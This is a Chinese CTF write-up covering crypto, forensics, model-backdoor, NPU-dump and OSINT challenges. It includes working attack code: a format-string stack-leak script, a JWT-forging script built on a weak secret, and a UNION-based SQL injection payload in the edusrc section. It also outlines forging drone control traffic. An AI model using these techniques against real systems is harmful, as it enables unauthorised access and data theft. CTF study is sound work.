文章总结: 本文档为’好靶场杯’CTF竞赛官方部分WP,详细解析了多个赛题的解题思路,包括USB键盘流量分析、编码解码、PWN漏洞利用等,展示了从流量分析到漏洞利用的完整过程,并提供了具体工具和脚本示例。 综合评分: 85 文章分类: CTF,渗透测试,漏洞分析,实战经验,安全工具

image-20260724130922756
得到一半flag
flag{Y0u_g0t_c1mb4r
image-20260724131012120
另一个使用在线网站即可解码
关键字:小番茄图片混淆
image-20260724131124687
得到另一半flag
_and_gilbert}
image-20260724131205819
峡谷的秘密
image-20260724131629684
电刀特效是干扰项,看普攻拖影是有黑白煞气的。符合武则天的神器·明辉仪
image-20260724131500084
image-20260724131445306
算术的秘密
image-20260724132334853
看图算出最终水果值
image-20260724132940277
得到seed、nonce、enc
这题并没有给密钥流的具体构造,也没有提供一个可以验证密码对错的接口(其实接口被我删掉了,但不影响解题
看似要我们去解密enc,其实这题是黑盒PWN
image-20260724133024412
输入的%p显然被直接交给了printf
image-20260724135556590
第六个参数故意放了一个 nope,所以想靠 %6$s 一把梭是不行的。不过 %p 能正常工作,就说明栈上的内容仍然可以顺序泄露。
image-20260724135732251
输入长度可能有限制,我用了%2040%20个 |%p,后半段里出现了这些值
0x3831357b67616c66
0x6331623539616361
0x3561386138323435
0x3331663032656261
0x7d3565336332
image-20260724135834071
x86_64是小端序,把每个qword转成8字节后分别反转,然后Hex转ASCII
完整脚本如下:
import re
import socket
HOST%20= "hbc2.haobachang.com"
PORT%20= 19771
def recv_until(sock,%20marker):
%20 %20data%20= b""
%20 while marker not in data:
%20 %20 %20 %20chunk%20=%20sock.recv(4096)
%20 %20 %20 if not chunk:
%20 %20 %20 %20 %20 break
%20 %20 %20 %20data%20+=%20chunk
%20 return data
with socket.create_connection((HOST,%20PORT),%20timeout=10) as s:
%20 %20recv_until(s, b"final>%20")
%20 %20s.sendall((("|%p" * 40)%20+ "\n").encode())
%20 %20data%20= b""
%20 while True:
%20 %20 %20 %20chunk%20=%20s.recv(4096)
%20 %20 %20 if not chunk:
%20 %20 %20 %20 %20 break
%20 %20 %20 %20data%20+=%20chunk
text%20=%20data.decode("latin1")
values%20=%20[]
for token in text.split("|")[1:]:
%20 %20token%20=%20token.strip().split()[0] if token.strip() else ""
%20 try:
%20 %20 %20 %20values.append(int(token, 16) if token.startswith("0x") else 0)
%20 except ValueError:
%20 %20 %20 %20values.append(0)
stack%20= b"".join(x.to_bytes(8, "little") for x in values)
match%20=%20re.search(rb"flag\{[^}]+\}",%20stack)
print(match.group().decode())
image-20260724140342792
错音的秘密
image-20260724161946546
image-20260724162109531
Berlekamp-Welch%20线性化
令错误定位多项式为:
将它规范化为首一、次数正好为 t。再令:
对正确样本,y_i=f(x_i),所以 Q(x_i)=y_iE(x_i)。对错误样本,E(x_i)=0,等式两边仍然同时为零。因此所有%2084%20个样本都满足:
写成系数:
Q的次数小于k+t,有k+t=56个未知系数;E的最高次系数固定为%201,只剩t=24个未知系数;- 总共
k+2t=80个未知数,84%20个样本给出%2084%20条线性方程。
对每个 (x_i,y_i),矩阵行是:
右侧为 y_i%20x_i^t。在模 p 下高斯消元即可得到 Q 和 E。
还有一种看似简单的路线是随机挑%2032%20个样本做插值,希望它们全部正确。但当前%2084%20个样本中只有%2060%20个正确,单次成功概率为:
平均需要约%20150%20万次完整插值与验证,因此这不是合理的预期解;Berlekamp-Welch%20一次即可确定答案。
最后做精确多项式除法:
余数必须为零,恢复后的次数必须小于 k,并且重新计算全部样本时必须恰好出现%2024%20个不匹配点。这三个条件是防止误解线性系统输出的关键验证。
第一步计算json
import json
P%20=%20(1 << 127)%20- 1
K%20= 32
T%20= 24
N%20= 84
MAX_INPUT%20= 4096
samples%20=
[[159550636694452100947253841924124286928,133861603090919193339517107083386399369],[168885554321761597858686013542709712188,166750259888219540479128627019052736643],[145433520444028557361131157978575656342,93124663564808054479936945511918521843],[30072679745539066081292654922119948587,118323197892956763690425971981893723720],[92315023345897779228003992948508250107,85646451768843964382062926850650665750],[42661411977101973944400514719641263052,162339375280958947668005412615860536509],[51494553525833159387332784952681496467,12194197652149897259200358087546679849],[84002888276037373723276513403547724379,8298925115982366578159714470900513246],[141605333273896551911572669833046926356,105987683295743750331974552629939492968],[103027521274810445049960911189881382649,110981197526523550237983516357699512729],[155016449354527241951515598331723885890,126368131820401342906352340447166324468],[67099309985305924111694122066018105761,87971642896565786333605371858178386218],[134510693182778792059893124628427063741,120275758484099222950515435006894548870],[124239279003880518215751169228086971582,138775508378183221854241324096133035322],[86922188923480042279037798515510366752,169087890712810514580986598135117435148],[26407478010194060701663578303654894058,67603980766182287668106313434829437138],[17864700432998972867796970480180471100,121637200043883596054586076561655935299],[9930140370023749645499973309535052348,42403014527065313756231557240611911092],[124095779264187100167790444316840018809,6218697601343683661274878906880996585],[160141517718032545549347987709085394519,66837403731539137710225080555718789740],[141503711168481786559219344000419059169,141957044910612401396233809583565579894],[147303135981984732036416871653029319870,100687149477223560160149294027676540359],[63476620910478155557521847387229815534,6044409724482135694294921854379282692],[67235101929029261014577461849924304011,71848599894261819716933369021779375950],[9508554416658398081597546571783704324,98071907818319473664201022363870760330],[89086020638481751007920498846586485342,162474650090252081198810213264666918741],[16258312230460360835564336758949603884,125964829240480221176977469173825279568],[54498246493715212603409382442255471915,156281274663704367461297741720368279577],[103602949793312456951837144197621598451,126648234658143641588460613323309041707],[115114921141028049925616876016886380190,82881342365473950054538196275964125072],[72850396483004048365325435170289853019,77506246623082709139318038935555465045],[27469652562043998248258991908966529553,102476840498811262810892502292420921287],[27519161119398033603336292123139237035,108014171767811655185862723334556854658],[153181867459465879209262780975710270029,46074045172062105265244180714863221111],[106992838101990897596553657367177422617,147740012291568193137486661333088101297],[16042961407485961957208015039605786893,55690979925445827445953719131375829902],[22394188774324930210105288778362964559,115443537956162785705767113403358431717],[68814222008528708792394124370516025378,108664102318731701122361859888413078322],[77051672437882189138194317011856981189,62547789408502405299295337713947133519],[44086761980823934351175365678301488358,111930637371728991932390020176727488742],[166252290534533821254982109528515189185,16764926655935253009800478752620233969],[12097444803783651870660501133501901602,78266526722470981948600940897972167923],[130996788284502388145515151720110414379,111319728569270163547835655921646142003],[164011387515414761947998410640983911009,106617534491179069498051633888839447287],[30953042559102321943170917214634968219,28284305254514007967152610990552121754],[66874762421443405148020144982193891399,92195165356775875265932509748620036695],[126541339372116843101675166668753142424,16783193904176392829584469008523967677],[107883144598715232162879812978483409475,136142023109504267666315976501072758977],[11790463665469116777215811133940175522,33522778024765161428154885695964451482],[77430128178058169429819298764526720068,933223522568022277212949025091897431],[159455610685260039209124586337574724183,158544247868457034924916386490044743146],[93305540473767441919398587997722093831,16541691223635152281088797430509033591],[136389248870741188511667471423134488036,23560974202898807263198039185553002029],[132229383687602351761581497552422048836,32749126967960032573663442558961758935],[142873643680100019184605762415953343442,3048874337371107495448589025815340577],[96906683968436367689247694235124217917,107648760301871896581926344590791753251],[158922637110939011815214301008526060964,90267536831271539093924294572732404769],[52525404044522971716336584152995208230,142966166294917666806955255265904109190],[57769766688678839722146232600632031766,91537160884108634433610121248052208680],[24973377379972989636322165415129483414,18365109728124608476176892544681974731],[127867562544096541505452449154902955405,69855946342495542285603276725181845401],[53356150344828199791521039907327783167,131792244098107950348893829687039125884],[113175736260074970292582414590399579577,153528089850040107882336108136546948810],[129115364640422285255150163349003284138,154444318114997677354639558211933718329],[92280355228215504004976882107175211031,140472821371739198756085555616678211051],[10874313785167139915294074156893912155,786460626507815288441994754551766270],[125585821286651859212174842447331235319,153643585597522915485562625270386916141],[52492605784132381263696175495294949030,30099693348157211693250031718528180281],[146441092531809539630564366814116805642,154120242149374995376719726735506489570],[12706842049350380916998314460957605540,26950188774295899501458345375622123321],[127272073109905878029615227409951313121,46821555723318406360935839167558755195],[168299877424772633668929077720514425709,131710391270034567902208095795026567369],[36724693772081237288891072609275132062,110147649683433806887710984494087049133],[3044776326166877975491063944486152378,15469071785181483563039278076922218949],[70586661101760612046814678030190213845,137725848067617726868140975013980185590],[78757609062532550093204397898684867369,17472520403107894596634651228124869298],[83509013314295151199418426384462592269,74069059366396346292177023938877816773],[72720789559912604025976425074587678028,23755836583957813362345325139425499990],[42214791844124889004244809136572328590,48143315996234147210798319386447966632],[167247299534138439500406158052939261729,101597182491815852054857276264544781150],[44765235530188244758737351624671883593,117960271901300456785126844433304965832],[45596813510554182874821471289877356305,105088815367902248258691898771383533473],[24755646527964738410469407294837860894,58918026448615416173813738781365651382],[126036348616531618028126127865112358523,30345327133639267306550172600821925160]]
mat%20=%20[]
for x,%20y in samples:
%20 %20 %20 xs%20=%20[1]
%20 %20 %20 for i in range(1,%20K%20+%20T):
%20 %20 %20 %20 %20 %20 %20xs.append(xs[-1]%20*%20x%20%%20P)
%20 %20 %20 row%20=%20[]
%20 %20 %20 row%20+=%20xs[:K%20+%20T]
%20 %20 %20 row%20+=%20[(-y%20*%20xs[i])%20%%20P for i in range(T)]
%20 %20 %20 row%20+=%20[y%20*%20xs[T]%20%%20P]
%20 %20 %20mat.append(row)
col%20= 0
pos%20=%20[]
for i in range(len(mat)):
%20 %20 while col%20<%20K%20+ 2 *%20T:
%20 %20 %20 %20 %20 %20 %20pivot%20=%20i
%20 %20 %20 %20 %20 %20 while pivot%20<%20len(mat) and mat[pivot][col]%20== 0:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20pivot%20+= 1
%20 %20 %20 %20 %20 %20 %20 if pivot%20<%20len(mat):
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 break
%20 %20 %20 %20 %20 %20 %20col%20+= 1
%20 %20 %20 if col%20==%20K%20+ 2 *%20T:
%20 %20 %20 %20 %20 %20 break
%20 %20 %20mat[i],%20mat[pivot]%20=%20mat[pivot],%20mat[i]
%20 %20 %20 inv%20=%20pow(mat[i][col],%20P%20- 2,%20P)
%20 %20 %20mat[i]%20=%20[j%20*%20inv%20%%20P for j in mat[i]]
%20 %20 %20 for j in range(len(mat)):
%20 %20 %20 %20 %20 %20 %20 if i%20!=%20j and mat[j][col]:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 factor%20=%20mat[j][col]
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20mat[j]%20=%20[(mat[j][l]%20-%20factor%20*%20mat[i][l])%20%%20P for l in range(K%20+ 2 *%20T%20+ 1)]
%20 %20 %20pos.append(col)
%20 %20 %20col%20+= 1
ans%20=%20[0]%20*%20(K%20+ 2 *%20T)
for i,%20j in enumerate(pos):
%20 %20 %20ans[j]%20=%20mat[i][-1]
q%20=%20ans[:K%20+%20T]
e%20=%20ans[K%20+%20T:]%20+%20[1]
while len(q)%20> 1 and q[-1]%20== 0:
%20 %20 %20q.pop()
while len(e)%20> 1 and e[-1]%20== 0:
%20 %20 %20e.pop()
f%20=%20[0]%20*%20(len(q)%20-%20len(e)%20+ 1)
while len(q)%20>=%20len(e):
%20 %20 %20 tmp%20=%20q[-1]%20*%20pow(e[-1],%20P%20- 2,%20P)%20%%20P
%20 %20 %20off%20=%20len(q)%20-%20len(e)
%20 %20 %20 f[off]%20=%20tmp
%20 %20 %20 for i in range(len(e)):
%20 %20 %20 %20 %20 %20 %20q[off%20+%20i]%20=%20(q[off%20+%20i]%20-%20tmp%20*%20e[i])%20%%20P
%20 %20 while len(q)%20> 1 and q[-1]%20== 0:
%20 %20 %20 %20 %20 %20 %20q.pop()
f%20+=%20[0]%20*%20(K%20-%20len(f))
f%20=%20f[:K]
print(json.dumps(f,%20separators=(",", ":")))
image-20260724161706197
得到key和ct%20带入脚本
import hashlib
P%20=%20(1 << 127)%20- 1
K%20= 32
DOMAIN_KDF%20= b"off-key/kdf/v1|"
DOMAIN_STREAM%20= b"off-key/stream/v1|"
coeffs%20=
[105544490236960105057788816471894812320,68609240463057223192128587730667108857,4716978984973229415465838140269198928,123186957876356550066666665935649403956,54977531369894732717292209519189305645,31871973745711102536460922482857929421,166961651088425633324390725421570329595,123835803959439891336371885349143060941,106122538728259020821275609224265097376,107215554542598772919628152127363793899,164527885516177747767244050020881639627,57592773312846544949757562740119617602,90554392561598945601577691893196618264,136830076389328391901755341916455669076,36869628125871331811409728042919570199,161481448331051620966610215467438711744,80431052684241535111026055416744072941,113110030625254589717250118055533563372,15878603274565297538383789606507886633,3822617077407111745759127629400128005,9549590482397365126979739637850786468,137471715551781934125592875411381701183,149059290413097147364797560843203757571,6787469231434630361416410832483900184,53718930577193817846251611711270806813,145066315763421323877225998209097787395,156907949212801767132869057183198368962,164479000733437797833555128747495599759,33824115026802600495848683345393070228,45786651963059616634677353756624641869,23341211317475596450937411338563079888,30460338812576416845111635960081063304]
key_tag%20= "f40a135e9089dde0033df57122cd1cda"
ct%20=
"553eee8e601c73a9d9e394cf9c53fb15d28a219e3ccf7ee3fa086cf67fdcfd0ee307abf71d0
c"
raw%20= b"".join(i.to_bytes((P.bit_length()%20+ 7)%20// 8, "big") for i in coeffs)
key%20=%20hashlib.sha256(DOMAIN_KDF%20+%20raw%20+ b"|" +%20key_tag.encode()).digest()
cipher%20=%20bytes.fromhex(ct)
pad%20= b""
cnt%20= 0
while len(pad)%20<%20len(cipher):
pad%20+=%20hashlib.sha256(DOMAIN_STREAM%20+%20key%20+%20cnt.to_bytes(4, "big")).digest()
cnt%20+= 1
flag%20=%20bytes(cipher[i]%20^%20pad[i] for i in range(len(cipher)))
print(flag.decode())
image-20260724161808216
合唱的秘密
image-20260724162001266
题目脚本文件已经给提示,解密flag需要获得哪些东西。
family%20后门类型
target%20目标类别
answer%20后门样本md5
image-20260724160712815
oracle.py把模型怎么处理图片写得很清楚。图片先转成亮度图,压成12×12,这一块有144个数,用来看图形大概长什么样。后面又单独算了24个颜色纹理的数据。两块拼起来一共168个数,再经过16个中间通道,最后输出6个类别。
image-20260724154516099
这个模型不大,只有16个通道,直接挨个对比权重。这里能找到一些很奇怪的成对通道:两边接收的内容完全一样,偏移也一样,但是最后往外输出的值刚好一正一负。这样不管输入什么图,这两个通道加起来永远都是0,等于白放在模型里。
我写了两层循环,把这种成对抵消的通道全部找出来。
image-20260724154935507
跑完之后一共找到了7对,16个通道里只剩下5和8还真的会影响结果
image-20260724155034595
接着看这两个通道分别在吃什么数据。通道5的图形部分权重是0,纹理部分是1;通道8正好反过来,只看图形,不看纹理。题目藏的是不容易看见的图片后门,所以通道5明显更像真的,通道8是烟雾弹。
再看通道5最后把哪个类别的分数抬得最高,结果是4。模型里的第4类名字是“菱形”,所以到这里目标已经确定了。
image-20260724155308487
image-20260724155344826
照抄oracle.py里的算法,把960张图的纹理重新算了一遍。已经知道目标是4,所以后面只看清单里标签为%204%20的%20160张图,不用再管其他类别。
真正被动过的图应该带着差不多同一个纹理方向。我先从这160张里拿纹理比较强的前32张,再用SVD找它们最一致的方向。简单说就是把大家共同带着的那层纹理拎出来。SVD得到的方向可能会正反颠倒,所以再和模型通道5的方向对一下,反了就乘个-1。
image-20260724155642700
image-20260724155611917
有了这个方向以后,每张图都能算出一个分数。分数越高,说明它越贴近模型真正认的那层纹理。我把目标类的图片按分数从高到低排,然后看相邻两个分数之间哪里突然断开,不先猜到底有几张。
代码跑出来以后,第12张是10.5110,第13张一下掉到0.3794,中间差了10.1316。这个断层特别明显,所以前12张就是要找的图片。
image-20260724155826294
image-20260724155922262
最后还需要得到后门类型。我把刚才找到的纹理方向还原回48×48的图片,再看它的频率分布。最强的32个位置占了总量的77%,能量明显集中在少数频率上,不像角落贴块,也不像整张图透明叠一层,更不是把图形拉歪,所以这里直接判断为frequency。
脚本最后选出的12张图如下,分数全在10以上,后面的正常图直接掉到了0点几,区分很干净。
image-20260724160202968
对应的MD5是:
006ed7de31ab2ad6e408f67b4fd3f364
2877271292f04a40b0ac46fbadd34598
3ee532999ff9e383c8327596baa7f44c
3f72dc9e787caaff3b35245e5bedffb4
41d95598730a754c7224cb2fc9f43c62
75af62e52fb8a44390a155e7d0ff91c0
80a3b2151624dc973319f2f59b0a2a37
9944f682e3037fb660c088d27f78057d
d0942bfa683c64fde6c958813ac368f9
da436302fb496ff00e5930e819b9a36d
ddc390313a9cf2b3e41476f2716805b5
fa9ebfb7bea08574d45a87109150d598
image-20260724160556318
艾姆的秘密
image-20260724140730939
添加jpg后缀
image-20260724141005548
image-20260724141336887
互联网搜索关键词1-2号检票口%20南区,都指向上海松江这个车站
image-20260724141511403
image-20260724142146659
高德地图搜索,查看相关地点的图片,麦当劳(上海松江站店)介绍封面就已经知道了答案结果。
image-20260724143542889
提交松礼路并不对,很有可能是地图信息更新导致,尝试提交附近的其他路名。
答案就是上海市松江站松礼路
image-20260724143856570
绮谶的秘密
image-20260724151503387
查看EXIF信息存在提示:XX大道附近
image-20260724144119892
注意到右下角,暴露了车牌省份。鄂为湖北
image-20260724144407046
抖音搜索湖北七彩祥云,视频文案都指向武汉
image-20260724144446957
通过抖音发现,多数实拍都是在光谷附近。洪山区、江夏区、武昌区都有定位。
image-20260724145115713
观察图中建筑,这条路附近全是厂房,远处是居民楼(高楼)
image-20260724145019239
得到这么多线索,接下来只能慢慢在地图上通过街景视图去寻找。
最终锁定在武昌大道附近的三合街
image-20260724150213327
image-20260724150240109
edusrc
image-20260724151311489
先访问统一认证登录页。页面包含扫码登录和账号登录两个入口,账号登录区提示“新生初始密码为学号后六位”。
登录页
另外顺手验收了一下“重置密码”按钮。它触发的是页面内弹窗,不是浏览器原生 alert,弹窗文案为“请联系老师更改密码!”。
重置密码弹窗
查看页面加载的启动脚本:
/static/js/login.bootstrap.js
可以看到里面泄露了测试学号:
const test=202410231;
window.__LOGIN_BOOTSTRAP__%20=%20{
system: "yunsee%20Academic%20Portal",
version: "2024.10",
loginMode: "student",
test:%20test
};
启动脚本泄露测试学号
结合登录页提示,初始密码为学号后六位:
学号:202410231
密码:410231
切换到账号登录,输入学号、初始密码和页面验证码。
填写登录表单
登录成功后进入学生门户,可以看到学生姓名、学号、学院、专业等信息。
学生门户登录成功
此时身份仍然是学生,直接访问后台会被拒绝。浏览器实测中,学生登录态访问 /admin 返回 403%20Forbidden。
学生身份访问后台被拒绝
这个结果说明后台入口不是单纯前端路由隐藏,服务端页面入口也做了身份检查。
登录成功后,响应中会返回%20JWT。解码%20payload%20后可以看到身份字段:
{
"sub": "202410231",
"stu_id": "202410231",
"name": "江思澄",
"role": "student",
"iat": 1781660000,
"exp": 1781667200
}
尝试常见弱密钥,可以发现%20JWT%20使用的签名密钥为:
yunsee
将%20payload%20中的 role 从 student 改为 admin,再用 yunsee 重新签名即可伪造管理员%20token。
import base64
import hashlib
import hmac
import json
TOKEN%20= "..."
SECRET%20= b"yunsee"
def b64url_decode(data):
%20 %20data%20+= "=" *%20(-len(data)%20% 4)
%20 return base64.urlsafe_b64decode(data.encode())
def b64url_encode(data):
%20 return base64.urlsafe_b64encode(data).rstrip(b"=").decode()
header_b64,%20payload_b64,%20_%20=%20TOKEN.split(".")
header%20=%20json.loads(b64url_decode(header_b64))
payload%20=%20json.loads(b64url_decode(payload_b64))
payload["role"]%20= "admin"
new_header%20=%20b64url_encode(json.dumps(header,%20separators=(",", ":")).encode())
new_payload%20=%20b64url_encode(json.dumps(payload,%20separators=(",", ":")).encode())
signing_input%20= f"{new_header}.{new_payload}".encode()
signature%20=%20hmac.new(SECRET,%20signing_input,%20hashlib.sha256).digest()
print(f"{new_header}.{new_payload}.{b64url_encode(signature)}")
把伪造后的管理员%20token%20用到后台后,可以进入教务管理后台。
伪造管理员进入后台
进入后台后,运行总览 中有一条提示:
校内资源库正在进行资料迁移复核,搜索接口保留旧版查询链路。
切换到“校内资源库”,页面提供资源列表和搜索接口两个模式。
校内资源库
普通资源列表接口使用正常查询,预期注入点在搜索接口:
GET%20/api/admin/resources/search?keyword=
返回表格有%207%20列:
id
title
category
owner_department
visibility
download_count
updated_at
所以 UNION%20SELECT 也需要补齐%207%20列。
查询语句中关键词被拼进 LIKE%20'%...%',并且外层还有一组括号。因此%20payload%20需要闭合字符串和括号:
%'%20AND%201=2)%20UNION%20SELECT%20...%20--%20-
最终%20payload:
%'%20AND%201=2)%20UNION%20SELECT%201,flag,config_key,config_value,'全校可见',0,created_at%20FROM%20sys_audit_config%20--%20-
在浏览器后台中选择“搜索接口”,填入%20payload。
填入%20SQL%20注入%20payload
点击搜索后,flag%20出现在资源标题位置。
搜索结果读取%20flag
Operation%20Skyfall
image-20260724151256513
该题极具趣味与挑战性,由于是0解,暂不公开WP。
强调:此题是可解的。
解题思路:无人机飞行控制界面获取泄露密钥%20->%20通过nc%20连接后端管理程序%20->%20解密无人机流量%20->%20分析流量特征%20->%20伪造流量并用已有密钥加密流量(伪造流量)%20->%20导入伪造流量%20->%20无人机宕机落地(获得flag)
流量协议在描述中有提到是:基于%20802.11%20WPA2
image-20260724163912835
image-20260724163958305
AI赛道
NPU
image-20260724163446996
第%201%20步 先认清这是个什么文件%20→%20决定怎么拆它
xxd 看头部:
00000000:%204e50%205544%20554d%205000%200100%200100%201f01%200000%20 NPUDUMP.........
00000010:%207b22%206d61%206769%206322%203a20%20224e%205055%204455%20 {"magic": "NPUDU
- 前%208%20字节是魔数
NPUDUMP\0,第%209~10%20字节01%2000像个版本号(=1)。 - 紧接着
1f%2001%2000%2000(小端%20=%200x011f%20=%20287),再后面就是{"magic"...一段%20287%20字节的%20JSON。
类型%20+%20长度%20+%20值 的味道很浓。先假设格式是 Type(u16)%20+%20Length(u32)%20+%20Value,能不能严丝合缝走到文件末尾就是检验。 写个循环从偏移%2010%20开始走:
off=10
while off<len(d):
%20 %20t,l=struct.unpack_from('<HI',d,off);%20off+=6+l
0x0000a type=0x0001%20len=287%20 %20 {"magic": "N...
0x0012f%20type=0x0010%20len=16390%20 \x00\x01@\x00\x00\x01...
0x0413b%20type=0x0010%20len=1030%20 %20\x01\x01\x10\x00@\x00...
0x04547%20type=0x0020%20len=1460%20 %20{"zero_point...
0x04b01 type=0x0030%20len=264%20 %20 \x00\x01\x00\x00...
0x04c0f type=0x0040%20len=32%20 %20 %20(二进制)
0x04c35 type=0x00f0%20len=16403%20 \x0eoutput_deco...
0x08c4e type=0x00b0%20len=30%20 %20 %20\rlayer2_outp...
0x08c72 type=0x00b0%20len=24%20 %20 %20\x07boot_iv...
0x08c90 type=0x00b0%20len=30%20 %20 %20\raes_round_k...
0x08cb4 type=0x00e0%20len=951%20 %20 \x89PNG\r\n\x1a\n...
0x09071 type=0x00ff%20len=4%20 %20 %20 (4%20字节)
→%20正好走到文件末尾
走到%20EOF、零字节残留%20→%20格式假设正确。 这一步不需要任何文档,靠的是”格式自洽性”自证。
第%202%20步 给记录分类,确定”要解什么、缺什么”
逐条看%20Value%20的特征:
|%20记录%20|%20内容判断%20|%20依据%20|
|%20—%20|%20—%20|%20—%20|
|%200x0001%20|%20metadata%20JSON%20|%20明文 {"magic"...}%20|
|%200x0010%20×2%20|%20权重张量%20|%20len=16390=6+64×256%20、len=1030=6+16×64;头%206%20字节恰好是 li,tid,OC,IC%20|
|%200x0020%20|%20量化参数%20JSON%20|%20明文 {"zero_point"...}%20|
|%200x0030%20|%20输入%20|%20len=264=4+256+4%20:in_dim(u32)+256字节+4字节校验%20|
|%200x0040%20|%2032%20字节二进制%20|%20长度是%2016%20的整数倍,高熵%20→%20像分组密文%20|
|%200x00f0%20|%20带名字的张量%20|%20\x0e%20+output_decoded,后面还有%20rows/cols%20|
|%200x00b0%20×3%20|%20带名字的小%20blob%20|%20layer2_output%20/boot_iv/aes_round_key,各%2016%20字节%20|
|%200x00e0%20|%20PNG%20|%20\x89PNG%20|
|%200x00ff%20|%204%20字节%20|%20放在最后%20→%20CRC32%20校验%20|
两段%20JSON%20直接把网络结构和量化参数白送了(无需文档):
//%200x0001
"layers":[{"out":64,"in":256,"act":"clamped_relu","act_min":0,"act_max":100,"tiling_id":1},
%20 %20 %20 %20 %20{"out":16,"in":64, "act":"int8_saturate","act_min":-128,"act_max":127,"tiling_id":1}]
//%200x0020
"zero_point_x":[5,0], "zero_point_out":[0,0],
"layers":[{"M0":[1568023701,2123510929,...](64个),"shift":[-10,-11,...]},%20{…16个…}]
于是目标清晰:要解的是 0x0040 那段 32%20字节密文(看长度像%20AES)。解分组密文要 密钥%20+%20IV,但容器里没有任何现成的、可信的%20key/IV%20字段。缺口%20=%20key%20和%20IV,得自己想办法弄到。 先去翻翻还有什么没用的线索。
第%203%20步 两个”白捡”的线索:PNG%20提示%20+%20一堆诱饵
记录里有个 0x00e0 是%20PNG,明显不属于数据流,先%20carve%20出来看:
i=d.find(b'\x89PNG\r\n\x1a\n');%20end=d.find(b'IEND',i)+8
open('qr.png','wb').write(d[i:end])
carve 出的二维码
是二维码,扫出来一句提示:
设备开机时会显示一帧诊断 logo,但 dump 里没有单独的 framebuffer
这句话把我第 1 步的”缺口”指了一半方向:有一张 logo,但它不是现成像素(没有 framebuffer),要从别的数据里重建。logo 上很可能就写着我缺的 IV。把”某块数据其实是张图”这个判断记下。
至于 0x00f0(output_decoded) 和 0x00b0(layer2_output/boot_iv/aes_round_key)——名字一个比一个像答案。但越像越可疑:它们要么是现成 blob(跳过了”重建/推理”),要么干净得不像被加密过。先存疑,等会儿逐个证伪。
第 4 步 哪块数据是图?用”可读性”反推出排布
二维码说要重建一张图。dump 里还没被当成图看、且形状像图的,就是权重——L0 是 [64,256],正好一张 64×256 灰度图。权重是有符号字节,按 像素=权重+128 直接 reshape:
L0 朴素 reshape
关键观察:这确实是张有文字的图(能看出 4 条横向文本带),但每个字被横向切碎、错位——不是噪声,是字节排布被打乱了。tiling_id=1 也在暗示”权重做过 tiling 重排”。但文档没了,确切的重排规则得我自己反推。
线索就在图里:图明显分成几条 16 行左右的”带”,而 64 = 4×16。合理猜测是按输出通道分块、块内被转置。我不知道块大小,那就拿”图读不读得通”当判据,把块大小 8/16/32 都试一遍:对每个块大小 B,把每个 B×IC 的块当成 (IC,B) 再转置回 (B,IC):
def detile_block(B):
img=np.zeros((OC,IC),int)
for blk in range(OC//B):
img[blk*B:(blk+1)*B] = arr[blk*B*IC:(blk+1)*B*IC].reshape(IC,B).T
return img
三个候选渲染出来一对比,答案一目了然:
| B=8 (糊) | B=16 (清晰✅) | B=32 (重影错位) |
| — | — | — |
| |
|
|
只有 B=16 出清晰文字——排布反推成功:输出通道每 16 个一块,块内按输入下标 k 主序(即块内被转置)。图像可读性就是最好的 oracle,根本不需要文档给公式。
第 5 步 图自己把”密钥怎么来”写明白了
放大 B=16 那张图的中间两行:
IV 放大
logo 上三行字:
== NPU-CORE FW1.3 ==
IV e4f6ccd88665dc43 ┐ 这两行十六进制拼起来就是 IV
4c217e03fca1dd3f ┘
KEY=int8 out L1->L2 ← 密钥 = 末层(L1→L2)的 INT8 输出
这一步直接补齐了第 1 步的两个缺口,而且全是图自带的、不靠任何文档:
- **IV =
e4f6ccd88665dc434c217e03fca1dd3f**(第一行中间有椒盐噪声、86/88略糊,先标记,待会儿用 CBC 性质兜底); - 密钥就是网络末层的 16 个 INT8 输出 → 所以我必须把这两层网络真的跑一遍。
顺带回头清诱饵:output_decoded 那张是干净的假 flag(flag{int8_is_trivial},没经推理);layer2_output/boot_iv 直接拿来当 key/IV 解出来是纯乱码。全是钓”抓现成 blob”的,无视。
第 6 步 跑推理算 K:从数字认出它是定点量化
现在要把输入过两层网络。料都齐了:L1 权重同样 de-tile;输入在 0x0030(in_dim=256,末尾 4 字节我验证了正好是这段的 CRC32 → 确认读对);M0/shift/zero_point 都在 0x0020。
怎么算才对? 看一眼 M0:全是 1.5e9~2.1e9,紧贴 2³¹;再配 shift(负数=右移)、INT8 权重/激活、INT32 累加——这套组合就是 TFLite / gemmlowp 的定点量化推理(MultiplyByQuantizedMultiplier)。这是领域识别,不需要文档。关键是:必须整数定点实现,不能用浮点近似——浮点在”加倍取高位”和”带舍入右移”两处会差 1,最终密钥就废。
照 gemmlowp 逐字写整数版(RoundingDivideByPOT 是带舍入的右移,不是截断):
def srdhm(a,b): # 加倍取高 32 位 + 舍入 + 饱和
if a==-2**31 and b==-2**31: return 2**31-1
ab=a*b; nu=(1<<30) if ab>=0 else -(1<<30)+1
return max(-2**31,min(2**31-1,(ab+nu)>>31))
def rdbpot(x,e): # 带四舍五入的算术右移
if e==0: return x
m=(1<<e)-1; rem=x&m; thr=(m>>1)+(1 if x<0 else 0)
return (x>>e)+(1 if rem>thr else 0)
def mbqm(x,qm,sh):
ls=sh if sh>0 else 0; rs=0 if sh>0 else -sh
return rdbpot(srdhm(x<<ls,qm),rs)
def fc(x,W,q,zx,zo,lo,hi):
return [min(max(mbqm(sum(W[c][k]*(x[k]-zx) for k in range(len(x))),
q['M0'][c],q['shift'][c])+zo, lo), hi) for c in range(len(W))]
两层依次跑(L0 截断 ReLU [0,100]、L1 INT8 饱和 [-128,127],bounds 都在 metadata 里),末层 16 个输出取低字节:
K = 7f8e4e807fa980809a51605f79a38080
(顺手验证浮点为何不行:浮点版得 7f8e4f80...78a38080,差 3 字节 → AES 必崩。)
第 7 步 解 AES,用 CBC 性质擦掉 IV 的小疑点
0x0040 是 32 字节、AES 块大小 16,密钥 16 字节 → AES-128。模式先按最常见的 CBC 试。把第 4 步那个糊掉的 IV 字节两个候选都解:
IV ...d886 65... -> b'flag{n0_fl0at_f0r_npu_qu4nt}\x04\x04\x04\x04' ✅
IV ...d888 65... -> b'flagun0_fl0at_f0r_npu_qu4nt}\x04\x04\x04\x04' ← 只有开头一个字错
正好印证 CBC 里 IV 只影响第 0 块:IV 读错一字节只会让开头 flag{ 出错,后半 r_npu_qu4nt} 永远对——靠 flag{ 前缀反推就知道是 86。去掉 PKCS#7 填充:
flag{n0_fl0at_f0r_npu_qu4nt}
这题Agent跑不出来就是卡在了图像识别IV和KEY,需要人工识别。
缄默证词
